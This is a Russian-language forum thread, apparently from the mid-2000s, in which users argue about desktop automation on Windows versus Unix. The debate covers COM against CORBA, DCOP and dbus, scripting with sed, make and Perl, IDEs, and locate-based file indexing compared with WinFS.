Windows vs Unix: Автоматизация труда пользователя
я мало знаю приложений, в которые можно вставить кубики, поэтому не авторитет в этом вопросе
---
...Я работаю антинаучным аферистом...
Word?
3DMax?
AutoCad?
Excel?
Visio?
Photoshop?
Outlook?
FrontPage, наконец.
Почему среди unix-ойдов считается, что рядовой пользователь всю жизнь мечтает переименовывать файлы из командной строки?
И при этом также считается, что пользователь в жизни не захочет автоматизировать работу со своими любимыми "кубиками".
Замечу, что как раз вторая задача более востребована, и при этом под unix-ом она в разы делается сложнее, так как совсем не вписывается в концепцию unix-way.
листка бумаги с текстом и изображением кубиков то сразу увидишь, что никаких сложностей нет.
Но пока это в виде "при этом обязательно вызвать специальным образом подобранное ебанутое
интерактивное приложение", создаётся ложное впечатление превосходства винды.
EMACS(1) EMACS(1)
NAME
emacs - GNU project Emacs
SYNOPSIS
emacs [ command-line switches ] [ files ... ]
...
-l file Load the lisp code in the file file.
...
---
Manual entry (default авторитет): _
Вопрос:
как под unix-ом автоматически сделать следующее:
открыть AutoCad (или другое неконсольное приложение)
вставить туда пару кубиков,
сохранить,
полученный документ вставить в офис (текстовый процессор
добавить шапку, логотипов по вкусу,
распечать результат.
Под виндой это автоматически делается?
А так - делается примерно так же. Запускается i3d, рисуются кубики, сохраняются, открывается какой хочешь текстовый процессор - и там всё как в винде.
Кстати, про печать - у меня с момента установки линуха в списке принтеров кроме моего хардварного есть "печать в pdf" и "печать в ps". что-то вот уже неделю никак не может добавить аналогичную функциональность в винде.
> листка бумаги с текстом и изображением кубиков то сразу увидишь, что никаких сложностей нет.
Я пользователь.
например, дизайнер и весь день провожу в Photoshop-е
например, музыкальный редактор и весь день провожу в Fruity Loops,
секретарша - Word,
инженер - AutoCad,
3d-дизайнер - 3dmax,
и т.д.
и мне хочется ряд рутинных действий автоматизировать.
на данный момент виндоус предлагает некую стройную систему, которая позволит это выполнить,
под nix-ами сейчас такой системы - нет, или я ошибаюсь?
На чем и как будет записано выполнение данных действий?
может быть на sed или на awk?
например, дизайнер и весь день провожу в GIMP-е
например, музыкальный редактор и весь день провожу в Audacity,
секретарша - KWord,
инженер - qcad,
3d-дизайнер - i3d,
и т.д.
и мне хочется ряд рутинных действий автоматизировать.
на данный момент виндоус предлагает некую стройную систему, которая позволит это выполнить,
под nix-ами сейчас такой системы - нет, или я ошибаюсь?
А теперь покажи, что можно автоматизировать в винде. И наверняка увидишь, что это же можно сделать в *nix'ах.
Хотя я не работал с вордом, cad-ами и 3d-графикой, поэтому там могу чего-нибудь и не знать.
Емаксом зовётся.
---
...Я работаю антинаучным аферистом...
или 3d-модельки? или хотя бы план на неделю можно в нем составить?
> Запускается i3d, рисуются кубики, сохраняются, открывается какой хочешь текстовый процессор - и там всё как в винде.
На чем и как будет записано выполнение данных действий?
может быть на sed или на awk?
Пытаешься притворяться глупым?
sed и awk - это не для художников программы. И никто не предлагал рисовать ими кубики. Кубики я нарисую мышкой, так же, как и в винде.
Зато если я делал курсовую, написал 10 отчётов, в каждом из которых фигурирует комнатная температура, а потом резко выяснится, что она была не 25 градусов, а 15 - я заменю это всё одной командой. С помощью sed.
А ты будешь ковыряться в ворде.
едва ли - скорее я запущу пару xslt-преобразований - замечу, что это намного мощнее, чем текстовые преобразования, доступные из sed-а.
---
...Я работаю антинаучным аферистом...
Или дай ссылку, где почитать.
Это я к тому, что пиздатые люди хотели на перле музыку писать.
Пожелаем им вместе удачи.
Ах, блин, забыл Offtopic поставить.
Преобразований, допускаемых sed-ом, достаточно для решения.
Если надо что-то помощнее, то можно взять другое средство.
---
...Я работаю антинаучным аферистом...
каким образом sed отличит число 10 означающее высоту колонки, от 10 - означающих размер шрифта?
Как, например, все шрифты размера меньше, чем 10, заменить на 10
---
...Я работаю антинаучным аферистом...
Как редкому пользователю винды мне тоже это интересно
Убиранием из преамбулы соответствующих извращений.
---
...Я работаю антинаучным аферистом...
все те действия, которые я написал.
например:
получить список контактов,
для каждого контакта открыть Visio,
если контакт - мальчик, то нарисовать синий кружочек(шарик
если контакт - девочка, то нарисовать розовый кружочек(шарик
сохранить шарик,
закрыть visio,
открыть word,
добавить шарик из Visio,
написать сверху "С новым годом! Уважаемый Василий Пупкин!" - пол, имя - берется из контакта,
отправить полученную шнягу на адрес из контакта
можно несколько ссылок на документацию к стройной системе?
например:
>> листка бумаги с текстом и изображением кубиков то сразу увидишь, что никаких сложностей нет.
> Я пользователь.
> например, дизайнер и весь день провожу в Photoshop-е
> например, музыкальный редактор и весь день провожу в Fruity Loops,
> секретарша - Word,
> инженер - AutoCad,
> 3d-дизайнер - 3dmax,
> и т.д.
> и мне хочется ряд рутинных действий автоматизировать.
>
> на данный момент виндоус предлагает некую стройную систему, которая позволит это выполнить,
> под nix-ами сейчас такой системы - нет, или я ошибаюсь?
Хорошо.
Я - математик (смешно, но правда) и пишу креативы в vim, генерирую графики gnuplot,
компилирую всё latex, bibtex, dvips, которые вызываются по нажатию одной кнопки в редакторе
с помощью утилиты make (когда я захочу этот результат увидеть или напечатать).
Процесс отлажен и автоматизирован. Изменение исходного текста или входных данных
для графика производит необходимый минимум операций и создаёт качественный документ.
Под виндой есть убогий ворд, который постоянно глючит, в котором простейшая операция
производится совершенно немыслимым количеством действий, добавил раздел - не забудь
сгенерить заново содержание, поменялись данные - построй и вставь картинку заново.
Структуры документа при редактировании не видно.
Я знаю, что в ворде можно делать переносы в словах, но ещё ни разу не видел,
чтобы кто-то этим пользовался. При печати вордовые документы выглядят просто
отвратительно.
Теперь покажи, как с помощью твоей "стройной системы" мне мигрировать на ворд.
Прочитать Help?
Воспользовать командой Record macros?
Я много пропустил, может, никсойды уже разработали достойный IDE? Быстрый, а самое главное, надежный?
Я хочу включив элемент в структуру документа (содержание тоже самое
больше не вспоминать о его существовании. Не понимаю, как тут помогут эти макросы.
При печати вордовые документы выглядят простоТут, маза, дело не в бобине
отвратительно.
Под виндой есть убогий вордЕсть не менее убогий WinEDT
если извращаться и не пользоваться Word-Ом, то:
XmlDocument doc = new XmlDocument;
doc.Load(мойДокумент);
foreach (XmlNode node in doc.Select("//w:sz[w:val<10]"
{
node.InnerText = 10.ToString;
}
doc.Save(мойДокумент2);
В самом ворде есть такая функциональность? Для меня она как-то неочевидна
больше не вспоминать о его существовании.
в данном случае, элемент - это название раздела или подраздела? или что-то еще?
> в данном случае, элемент - это название раздела или подраздела? или что-то еще?
ссылка, картинка, элемент перечисления итп
Alt-F11
В самом Word-е будет что-то такое (но на бейсике я пишу с ошибками):
for (Style style in ActiveDocument.Styles)
if (style.Size < 10) style.Size = 10;
Это ж Visual Basic?
У меня всё в XML
---
...Я работаю антинаучным аферистом...
Пипец... И типичная секретарша это всё рюхает? Я в шоке...
И типичная секретарша это всё рюхает?Типичная секретарша просто пощелкает мышкой - ей это удобнее, чем что-то всё время набирать. А я посижу чай попью.
например, так:
Вставляешь содержание
Выделяешь ссылки, картинки, перечисления и т.д. - говоришь, что выделенное имеет стиль Heading
обновляешь содержание
Это не надо рюхать.
Надо только нажать кнопку Record Macros, а далее полученный скрипт дополировать напильником - удалить явно ненужное, подправить нужное
> например, так:
> Вставляешь содержание
> Выделяешь ссылки, картинки, перечисления и т.д. - говоришь, что выделенное имеет стиль Heading
> обновляешь содержание
и что получится?
получится красивое содержание
а ты что хотел?
также как список литературы, таблиц, картинок.
Я хочу один раз вставив в документ такой элемент структуры
больше не вспоминать обо всяких "обновить".
А обновляя картинку, не вспоминать, куда же именно я её вставил,
особенно, когда делаю один документ с двумя различными вариантами
оформления.
Я тебе правильно понял?
> Я тебе правильно понял?
Да.
Когда я говорю make, я делаю вполне осмысленное действие
и получаю готовый консистентный документ.
Когда я в ворде говорю "обновить" только для содержания,
то я делаю чужую работу по отслеживанию изменений
в документе. Если я про это вдруг забуду, то документ
будет содержать ошибку.
а, в этом смысле?
очень просто
исходники редактируешь редактором (текст - текстовым, графику - графическим и т.д.)
после чего вызываешь make
получаешь выход в нужном формате
или я не понял вопрос?
кстати, make - интерпретатор ФЯ
т.е. вручную?
а как ты собрался кубики вставлять автоматически? нужно, чтобы приложение это умело
для текстов есть sed/awk/perl упоминавшиеся тут
для растровой графики есть imagemagick и pnm
для векторной - хз, не занимаюсь
команды вставки можно вызвать из скрипта
тогда вручную делаются исходники: кубики, и куда их вставлять
вручную пишется команда вставки, вставляется в makefile
если приложение-редактор не допускает автоматизацию, то нужно его менять или брать новое, тут пофиг, windows или *nix у тебя
Так речь идет как раз о том, что под Windows почти каждое корпоративное приложение поддерживает автоматизацию, при этом поддерживает в стандартизованном виде.
Соответственно достаточно легко связать/автоматизировать два и более разнородных приложения.
это способны сделать упомянутые тобой рядовые пользователи?
если один раз показать, то да
> поддерживает в стандартизованном виде.
Что значит - в стандартизованном?
Написав код для добавления кубиков в AutoCAD, я смогу его же использовать для вставки кружочков в PhotoShop?
Что-то не верится.
В unix way каждое приложение поддерживает автоматизацию.
Которые не поддерживают - не есть unix way.
имхо, даже в большей степени, чем разобраться, как надо писать команды с помощью awk или sed-а.
Смотри, все очень просто. Фраза про "интуитивно понятный интерфейс" относится к некоторым простым вещам. Типа набрать слово ХУЙ ариалом 24пт жырным, отцентровать по центру листа и распечатать. Полагаю, почти любой человек видевший ворд хоть раз это сделает без проблем и очень быстро.
Но когда ты хочешь сделать что-нибудь достаточно сложное, стили поприменять, например, это НИКОГДА НЕЛЬЗЯ БУДЕТ СДЕЛАТЬ ИНТУИТИВНО. Ну то есть 100 операций интерфейс может реализовывать интуитивно понятным образом, может быть тысячу - но не все возможные.
Поэтому если ты хочешь сделать что-нибудь эдакое, то будь готов к написанию скриптов на ВБ и чтению мануалов. Потому что чудес не бывает. Возможность писать скрипты у тебя есть. Жаловаться на то, что "скрипты не интуитивно понятны" - тупо.
маза, ты не был ни админов, ни саппортом
пользователи - они не такие
И тот, и другой код пишется однотипно, потому что построен по одним и тем же правилам.
различия только в прикладной модели данных
> Которые не поддерживают - не есть unix way.
Хочешь сказать, что OpenOffice или Kde File Explorer поддерживают автоматизацию?
В OpenOffice - хз.
Ни то, ни другое - не unix way.
> пользователи - они не такие
ты уверен, что это были умные пользователи?
замечу, что глупые пользователи командную строку выучить тоже не могут.
> замечу, что глупые пользователи командную строку выучить тоже не могут.
ну я не уверен, что тут дело в уме
но совершенно точно - не могут
поэтому я и не настаиваю на существовании интуитивно-понятных интерфейсов
нету таких
какие интерактивные приложения поддерживают unix-way?
ActiveX сам по себе нафиг никому не нужен
для автоматизации нужен COM, а вот аналога COM-а под nix-ом и не видно.
Аналога com нету? Забавно, а мужики-то не знают... Как мне кажется таких аналога - целых три: один из OpenOffice, друтой - из Mozilla, а самый главный - это CORBA.
если unix-way такой хороший, то почему он не развивается?
если развивается, то что нового в нем появилось хотя бы за последнии 10 лет?
или хочешь сказать, что лучше сделать нельзя? и нынешний unix-way - это идеальное решение?
Corba - это скорее DCOM и COM+
Corba "работает" между компьютерами, а не между отдельными приложениями(отдельными компонентами) внутри одного компьютера.
Ты это разработчикам гнома расскажи...
кто кроме самого OpenOffice поддерживает такие же соглашения?
можно ли этот аналог называть стандартом?
> друтой - из Mozilla
кто кроме самой Mozilla поддерживает такие же соглашения?
можно ли тогда этот аналог называть стандартом?
Хотя это и не важно. Остаются COM от OpenOffice(UNO и от Mozilla(XPCOM). В KDE есть dcop.
какие приложения в гноме поддерживают корбу?
Это уже более другой вопрос. Вначале ты только говорил о необходимости COM для автоматизации. Я сказал что их есть у нас
Ну... Не хочу соврать, но все же: это основа гнома вообще. Он весь на CORBA основан. Хотя я слышал что они собираются от этого уходить, медленно слишком.
В первую очередь, я говорил, что под Windows есть стандартный механизм автоматизации, который поддерживают почти все корпоративные приложения.
и только потом я говорил, что данный механизм называется Com.
т.е. основной упор на стандартный, и на поддерживаемый всеми.
так проблема скорее все та же:
кроме самого гнома больше никто corba-у не держит
Не буду говорить за всю Одессу, но в КДЕ есть стандартный механизм - dcop + KParts, его используют все приложения. В гноме есть свой механизм. Они постепенно намечают тенденцию к сближению. В конце концов мы получим стандартный механизм. Согласен, сейчас стандартного механизма нет, но он будет.
какие приложения поддерживают данный механизм?
Кстати очень даже может быть что это будет dbus.
В КДЕ - все(которым конечно это нужно ). Запусти kdcop и удивись
> для автоматизации нужен COM, а вот аналога COM-а под nix-ом и не видно.
Я не рюхаю в вашей терминологии, так как эта область мне не интересна.
А большие пацаны говорили, что KParts - оно и есть.
Может, кто-нибудь сподвигнется посмотреть и обзор сделать?
> различия только в прикладной модели данных
Значит так: unix way - это и есть такие правила.
Все скрипты однотипны: в них описывается, что нужно сделать, в каком порядке.
А различия, как справедливо замечено, проистекают из модели данных.
В случае microsoft way - правила пришлось добавлять позже.
"Не ты идешь по Пути, но Путь проходит через тебя". Но это так, придирка.
Интерактивные приложения: shell, текстовый редактор. Сдаётся мне, ты что-то другое хотел спросить.
COM, or Component Object Model, is an extension to OLE which also took in OCX, based on a modified version of DCE/RPC. Previously, object interfaces were specified using ODL (Object Description Language); with COM, these were specified using DCE IDL, with an extended syntax. DCOM stands for "Distributed COM". The only real difference here is that when an object is accessed on the same machine, it is accessed in the same way as a C++ class is, but if the object is on another machine, the RPC mechanism is used.
In Linux land, Samba implements quite a lot of DCOM. They are currently working on making it easier to write programs which use the Samba infrastructure to access DCOM objects. There is a lot of work going on in Wine at the moment which is aimed at getting RPC working.
я правильно понимаю, что пользователи пользуются только этими программами?
а как же изображения, звук, диаграммы, видео, почта, интернет, базы данных?
Я видел Emacs. Я видел как им очень профессионально пользуются. До Microsoft Visual Studio если и дотягивает, то только где-то до 95-98 годов выпуска.
И это, кстати, не просто так. Просто хорошая IDE по сложности превосходит все тот же MS Office, а опенсорсники пока даже его достойного аналога склепать не смогли.
в данном куске опять идет речь про DCOM, а не про Com - как таковой.
Что умеет Visual Studio чего не умеет KDevelop?
Эээээ... А это две больших разницы? Насколько я понимаю, DCOM = COM + необязательность нахождения объекта локально.
в твоей цитате, фактически написано, что поддержан RPC, про COM как таковой ничего не сказано
У меня к сожалению под руками нет KDevelop, но по впечатлениям полугодичной давности помню, что он, например, не может банально вывести в подсветке параметров функции все варианты перегруженной функции. Это далеко не все, это так, первое, что вспомнилось.
| Corba - это скорее DCOM и COM+
| Corba "работает" между компьютерами, а не между отдельными приложениями(отдельными компонентами) внутри одного компьютера.
Что мешает использовать CORBA локально? В рамках распределенной объектной модели CORBA обеспечивается прозрачность местоположения.
Не стоит списывать со счетов и Яву.
то есть изображения и звук просто ортогональны unix way, он не помогает и не мешает
твой пример с AutoCAD, я уверен, должен включать в себя работу с координатами объектов (числа) и с их
взаимосвязями (символы)
автоматизация обработки картинок и звука - это из области ИИ, кроме простейших преобразований, с котороми в unix way всё нормально
диаграммы - gnuplot
почта, интернет, базы данных - не вижу никаких трудностей вообще, неужели в windows они есть?
Это уже есть. Чего еще не хватает? Хотя если уж ты начал называть такие мелочи...
Аналогов COM есть, целых 4. OpenOffice, Mozilla, CORBA, dcop.
Внимание вопрос: а какие приложения, умеющие CORBA поймут dcop? (вопрос повторить для всех возможных комбинаций аналогов).
В винде такой проблемы нет. Все либо умеют COM (большинство либо не умеют COM (меньшинство).
Я же говорил, сейчас происходит постепенная стандартизация. Конечно все эти технологии останутся. Но их сделают совместимыми на низком уровне, например через dbus.
Наверное, ты никогда не видел нормальных IDE.А как же eclipse? И eclipse-cdt в частности...
такие мелочи...Из мелочей и складывается хорошо проработаный продукт. Ну нет у меня KDevelop сейчас под руками, чтобы сравнить. Впечатление, опять же, полугодичной давности, вроде как мы все умеем, но вот это работает чуть хуже, вот здесь мы эту мелочь не поддерживаем, вот здесь этой фичи не хватает, и так еще куча всяких мелочей.
Я же говорил, сейчас происходит постепенная стандартизация. Конечно все эти технологии останутся. Но их сделают совместимыми на низком уровне, например через dbus.Ой, не знал, что ты теперь можешь говорить и отвечать за действия всего open source community
Такие слова я уже слышал, кажется лет 5 назад, и кажется тогда так говорили про CORBA.
Of particular interest to many KDE developers was the section on DBUS and HAL. With KDE4 now on the horizon, KDE developers are able to think about major architectural changes. Starting to migrate the internal messaging system from DCOP to DBUS and adapting KDE libraries and applications to take advantage of HAL are both hot topics. Daniel described how they can make the user experience seamless if applied universally across the desktop. DBUS in particular will bring all of the benefits that KDE enjoys from DCOP to the rest of the desktop. It promises an improved system that can, for example, change the proxy settings universally from one place whether it is the KDE or GNOME Control Center or even just a shell script.
Это уже делается.
в первую очередь то, что реальные прикладные приложения corba-у не поддерживают
во вторую - сложность развертывания и приличная тормознутость в пределах одного компьютера по сравнению с com.
make
make install - это сложное развертывание?
Про тормознутость: а кто сказал что в пределах одного компа реализация CORBA не может обрабатывать запросы другим способом?
Это уже делается.Да. Я такое уже слышал. Ну ты, наверное, уже догадался.
Правильно. Лет 5-7 назад, только про CORBA.
Короче, до того, как это ЗАРАБОТАЕТ, пожалуйста, не приводи таких аргументов.
Про что БУДЕТ - можно и про винду много написать.
Только вот на винде COM используется уже 10 лет, а вот на open source наконец делают DBUS.
Блин. Гном уже практически внедрил dbus, КДЕ - внедряет... Я лет 5 назад тоже слышал об внедрении CORBA, но по поводу практического внедрения - нет. А сейчас это уже происходит. И это не за горами. Понимаешь ли, 5 лет назад это не было необходимым. Просто люди обкатывали технологии. А сейчас это уже назрело. Нет другого выхода, и люди это понимают.
Либо они очень уж недоступны, что равнозначно их отсутствию.
---
NON PLVS VLTRA
:
Короче, до того, как это ЗАРАБОТАЕТ, пожалуйста, не приводи таких аргументов.
Про что БУДЕТ - можно и про винду много написать.
Только вот на винде COM используется уже 10 лет, а вот на open source наконец делают DBUS.
Please, не будь настолько упертым.
А ты пожалуйста не редактируй каменты когда на них отвечают
как быть если мне нужна интерактивная картинка?
например, диаграмма - которая показывает идут пинги или нет?
уверен, что виндовые аналоги внутри похоже устроены, только с COM
ещё есть идея
Просто пока есть альтернативы лучше.
Это не врите. Оно все и под виндой пашет. Оно не является платформенно-специфическим.
Соглашусь с - для microsoft way гораздо удобнее windows, реализации под *nix не дотягивают, и возможно так и будет всегда
еклипс вопще то тоже под винду есть
Но это все специфические средства разработки.
Но по теме - eclipse не совсем опенсорсный проект. IBM его когда-то (пусть под другим именем ) успешно продавала. Да и щас ее пишут наверняка те же самые айбиэмовские прогеры на зарплате, а не свободные раздолбаи. Это все равно что винду начать называть опенсорсом после открытия исходников
Да да. Я уж не говорю о вполне платной и коммерческой идее. А про специфику - в этих средах поддерживается больше одного языка программирования? И в Visual Studio, и в KDevelop, и даже в Anjuta (почему, интересно, про нее никто не вспомнил?) поддерживается немало языков программирования.
---
...Я работаю антинаучным аферистом...
И eclipse-cdt в частностида, это ужасное говно
про кванту тож забыли все чё то...
каким образом sed отличит число 10 означающее высоту колонки, от 10 - означающих размер шрифта?Точно так же как и твой инструмент (xslt?) - по контексту.
Так речь идет как раз о том, что под Windows почти каждое корпоративное приложение поддерживает автоматизацию, при этом поддерживает в стандартизованном виде. Соответственно достаточно легко связать/автоматизировать два и более разнородных приложения.Предположим что это так. Тогда встает вопрос: почему каждый пользователь UNIX умеет пользоваться инструментами автоматизации UNIX, а вот из всех знакомых мне пользователей Windows только умеет пользоваться инструментами автоматизации Windows? Может быть неудобные инструменты?
если unix-way такой хороший, то почему он не развивается?Потому что это принцип. Он хороший достаточно и его не надо развивать.
если развивается, то что нового в нем появилось хотя бы за последнии 10 лет?Множество разных инстурментов, соответствующих unix way.
или хочешь сказать, что лучше сделать нельзя? и нынешний unix-way - это идеальное решение?Это не решение, а way. Принцип.
Он хороший достаточно и его не надо развивать.Это иллюзия. Если что-то не развивать, то оно очень быстро устареет. Даже в IT.
то есть изображения и звук просто ортогональны unix wayНе скажи. Я несколько раз выполнял скриптами на shell + соответствующие утилиты, работающие в командной строке, следующие задачи:
1. Есть много файлов типа wav, они разложены в каталогах с названием исполнитель/альбом, сами имена файлов отражают название песни. Нужно все их пережать в mp3 и заполнить id3 тэги именами песен, альбомов, исполнителей.
2. Коллекция фоток. Все перевести в jpeg со стандартными параметрами сжатия, все ресайзнуть в один размер. Сделать тамбнейлы, разложить их по 10 на htmlку, ссылки на большие картинки, htmlки между собой слинковать. Кстати, сейчас уже есть готовые unix way инструменты для этой задачи.
Это иллюзия. Если что-то не развивать, то оно очень быстро устареет. Даже в IT.Принцип не надо развивать. Объясняю на примере: есть принцип дерева каталогов. Ему уже десятилетия. Он признан самым удобным и ничего тут не поделаешь. Есть попытки представить дисковое пространство в виде "Мои документы" + "Моя мусорка", но они безуспешны. Все присутствующие здесь поклонники Windows пользуются Windows Commander или Far или еще какой-то аналог. Этот принцип неистребим. 10 лет назад были две панельки нортона, они живы и сейчас. Точно так же и unix way.
Предположим что это так. Тогда встает вопрос: почему каждый пользователь UNIX умеет пользоваться инструментами автоматизации UNIX, а вот из всех знакомых мне пользователей Windows только умеет пользоваться инструментами автоматизации Windows? Может быть неудобные инструменты?
ответ очевиден - потому что подавляющему большинству пользователей легче переименовать 15 файлов ручками чем лезть в мануали. Потому что они вообще не привыкли лезть в мануали, потому что "интуитивный интерфейс".
Да, кстати. Ты ж цитируешь очень интересную фразу. Так вот, пользователи _никогда_ не занимаются связыванием разнородных приложений. Этим занимаются админы и программеры. Пользователи пишут документы в ворде или техе. А ты подтасовываешь понятия, пользуясь тем, что в России сейчас "пользователь линуха" == "достаточно крутой админ/программер". Потому что настоящие _пользователи_ используют операционную систему "Микрософт Офис", а если такого _настоящего_ пользователя посадить за линь, то он точно так же будет использовать ОС "Опен Офис". Так вышло.
А вот говорит, что у него настоящие пользователи ещё как связывают.
Где правда?
И вообще уже достали эти убогие файловые системы. Хочу побольше возможностей, что есть в БД. Где нормальная поддержка мета-данных? Где Взгляды? Где мощный язык запросов? Может тогда не понадобится скрип, чтобы переименовывать файлы.
Короче надоело слушать, что механический компьютер и так считает неплохо (надо только ручку крутить по-быстрее ).
man ln
> Хочу иметь более, чем одну иерархию директорий по различным признакам.
man ln
> Хочу побольше возможностей, что есть в БД.
> Где мощный язык запросов?
man sh
man find
man xargs
man sed
man awk
...
---
"Vyroba umelych lidi, slecno, je tovarni tajemstvi."
Karel Capek
Не надо срать на виндовый шел. Там понятия Folder и Item никак не связаны с файловой системой. Это могут быть директории и файлы, компы в сети, содерживмое архива, письма из базы outlook. И вообще очень жаль, что большинство приложений игнорируют возможности шел. А могли бы туда так здорово интегрироваться. Ладно может в longhorn ситуация изменится к лучшему.
что такое ln, у меня не стоит linux
Если в винде нет ln, это её личные трудности.
---
Q21: что такое Win2k?
A21: состема.
"И ничто не лишено файловости.
Одна лишь доза делает действие файла неядовитым."
---
...Я работаю...
Где-метаданные, на что мне условия накладывать? Знаешь, что такое взгляд в БД? Когда я говорил про виртуальную директорию, я хотел, чтобы ее содержимое определялось взглядом. Поиск find предполагает какую-нибудь индексацию (хотя для этого нужна развитая модель данных, хотя мета-данные представлят атрибутами). Ну и вообще едва ли все предложенное можно дает удобный язык запросов.
Короче опять, добро пожаловать в каменный век. Все можно сделать с помощью лопвты и мотыги
Язык запросов очень даже удобный, его хватает в подавляющем
всякое воображение числе случаев.
То, что ты не умеешь им пользоваться,--- не показатель.
Про отсутствие подобного языка в виндах я пока умолчу.
---
...Я работаю антинаучным аферистом...
ответ очевиден - потому что подавляющему большинству пользователей легче переименовать 15 файлов ручками чем лезть в мануали.Ответ не правильный.
Потому что они вообще не привыкли лезть в мануали, потому что "интуитивный интерфейс".Ответ правильный.
Обе квоты - ты.
Так вот, пользователи _никогда_ не занимаются связыванием разнородных приложений. Этим занимаются админы и программеры. Пользователи пишут документы в ворде или техе.Не правда. В обычной работе очень часто возникают задачи, которые нужно автоматизировать. Однако люди не привыкшие думать о автоматизации не замечают этого. Вернее замечают тогда, когда стоящая перед ними задача действительно огромна и требует много механической работы. К примеру, моя будущая жена проходила практику по химтехнологии в одной фирме, где стояла задача перевести невъебенное число документов Word в базу Access. Нужно было брать первое слово каждого абзаца, отрезать от него цифры, класть в первую колонку базы, тело абзаца преобразовывать определенным образом и класть в вторую колонку. Они решили этот вопрос просто: поделили документы между практикантками и сказали работать от забора до обеда. Я просто написал для своей подружки скрипт, на perl, который это делал. И в него залили эти документы. Замечу, что людям и не приходила в голову идея, что это возможно.
что в России сейчас "пользователь линуха" == "достаточно крутой админ/программер"Это так, хотя есть тенденции в общую сторону. Но мне кажется причина не в том, что Linux сложный. А в том, что не админ/программер ни разу не видел Linux.
Где-метаданные, на что мне условия накладывать?У Apple есть, и ими даже пользуются. Почему не популярно? В NTFS есть возможность их иметь, но не пользуются. Почему?
Знаешь, что такое взгляд в БД?Он в БД. Как только появится на файловой системе, то она будет тормозить. Я себе такую не поставлю. Когда мне понадобится более расширенная модель хранения информации, то я поставлю БД.
Поиск find предполагает какую-нибудь индексацию (хотя для этого нужна развитая модель данных, хотя мета-данные представлят атрибутами). Ну и вообще едва ли все предложенное можно дает удобный язык запросов.find не имеет индексации. Индексирует locate.
В униксе принято, что "всё есть файл."Это еще одно заблуждение Unix-way.
ладно смотрю теперь locate (хотя знаю, что это пустая трата времени )
Но это уже наше внутриуниксовое дело.
---
...Я работаю...
Ну и как это связано с индексацией файлов по заданному атрибуту?
Очень не удобно, когда собеседник не квотит. Наверное речь о locate? Ты можешь построить locate базу какую хочешь, модифицируя аргументы find в update.locatedb. В аргументах и укажешь свои атрибуты.
Говори чётче, что ты хочешь.
---
...Я работаю антинаучным аферистом...
а где про то как эта база устроена можно прочитать?
ладно пусть будут тэги в mp3
---
...Я работаю антинаучным аферистом...
и что с ней делать?
И выбираешь то, что тебе больше понравится.
Получил доступ к тегам --- далее обычным образом.
---
...Я работаю антинаучным аферистом...
У Apple есть, и ими даже пользуются. Почему не популярно? В NTFS есть возможность их иметь, но не пользуются. Почему?Потому что в Windows нет удобных штатных средств для работы с метаданными. Доходит даже до маразма: тот же Explorer неправильно показывает размер файла, имеющего метаданные (не учитывает размер метаданных). Если бы были удобные штатные средства, то ими бы пользовались.
Она строится с помощью нескольких скриптов на shell и пары бинарников:
think:/etc/periodic/weekly:|>file /usr/libexec/locate.*
/usr/libexec/locate.bigram: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD for FreeBSD 6.0.0, dynamically linked (uses shared libs stripped
/usr/libexec/locate.code: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD for FreeBSD 6.0.0, dynamically linked (uses shared libs stripped
/usr/libexec/locate.concatdb: Bourne shell script text executable
/usr/libexec/locate.mklocatedb: Bourne shell script text executable
/usr/libexec/locate.updatedb: Bourne shell script text executable
Ты можешь написать альтернативные скрипты на shell, которые будут по-другому строить базу. Например вносить туда id3 тэги. Консольные программы для работы с ними есть в портах.
Ты можешь написать альтернативные скрипты на shell, которые будут по-другому строить базу.Ради такого щастья аж прям захотелось себе Cygwin поставить!
Использовать locate.
---
...Я работаю антинаучным аферистом...
Потому что в Windows нет удобных штатных средств для работы с метаданными.Почему в Windows нет удобных штатных средств для работы с метаданными? Потому что не популярны. Почему не популярны? .... цикл
а Беркли БД ты к чему упоминал? на ней сделана база locate?
По-моему он ошибся.
так что из себя эта база представляет? это списки файлов? как в ней находится mp3 файл у которого в тэгах прописан определенный исполнитель?
так что из себя эта база представляет? это списки файлов? как в ней находится mp3 файл у которого в тэгах прописан определенный исполнитель?Быстро взглянув я не понял что это за база. Но мне кажется что в неё можно влить больше аргументов, чем имя файла. Вопрос создания своих собственных баз совсем не документирован в составе системы, к сожалению. Есть только ссылки на публикации.
---
...Я работаю антинаучным аферистом...
Смущает, то что file говорит "data". И что `grep -r dbm_ /usr/src/usr.bin/locate` молчит.
ldd `which locate`
/usr/bin/locate:
libc.so.5 => /lib/libc.so.5 (0x28077000)
С другой стороны, говорят что-то про embedded.
---
...Я работаю...
Ладно, для тех, кто неудовлетворён существующей ситуацией в области новых файловых систем, и, в часности, существенной задержкой выхода WinFS. Самое простое решение --- переход на иные платформы, где подобные средства уже существуют, например Linux (соответственно, Beagle, GNOME Storage, DBFS и Gnome Dashboard) или MacOS X (какой-то аналог Dashboard).
Да, dbm_* живут в libc. Но этих вызовов нет в исходниках locate.
Может теперь его можно апгрейдить. Скажем для журналируемой файловой системы можно не сканить ежедневно сгласно скриптам, а просто отслеживать журнал. Можно внести порядок (определить схему) в устройство БД. Сделать ее расширяемую. Добавить удобный API. Добавить ДБшный язык запросов. Смотришь уже и WinFS почти. И почему это должно сразу привезти к тормозам, не понимаю. А может лучше похерить все и сделать по-новому, учитывая все наработки в облати БД, API дезайна на сегдняшний день. Разве этим MS и не занимается. И не так уж это нелепо и нереально. А тормоза в проекте WinFS вызваны тем, что они хотя добавить поддержку транзакций, синхронизации и хз еще чего.
И почему люди думают, что если БД так значит тормозно и тяжело. Конечно SQL Setver, Oracle настроены работать в режиме, когда отжирается вся оперативка минус пару мегабайт. Но это ведь совсем не обязательно для БД. Есть куча примеров более легких БД. Ms Jet, что с офисом.
И вообще добавить функциональность БД не такая уже и бредовая идея. Думаю не мало и open source проектов уже.
Ну вот теперь можно сказать, что юнихе есть БД наряду с файловой системой, и при этом все довольно резво работает. Да?Это не БД, а индекс, который генерируется по запросу.
Может теперь его можно апгрейдить. Скажем для журналируемой файловой системы можно не сканить ежедневно сгласно скриптам, а просто отслеживать журнал.Я временно разворачиваю огромное дерево файлов для того, что бы через час их удалить. Попадание их в индекс мне нафиг не нужно. А они будут вноситься туда, потом выноситься. Тормоза.
А может лучше похерить все и сделать по-новому, учитывая все наработки в облати БД, API дезайна на сегдняшний день.С этого и надо начинать! Давайте писать свою операционную систему! Кто со мной?
И почему люди думают, что если БД так значит тормозно и тяжело.Потому, что в ряде случаев и файловая система тормозно и тяжело. Некоторые вот хранят данные просто на жестком диске, что бы быстрее было.
Есть концепция, и есть код, на который можно посмотреть.
Но не будем забывать также, что эта область - чистой воды исследование.
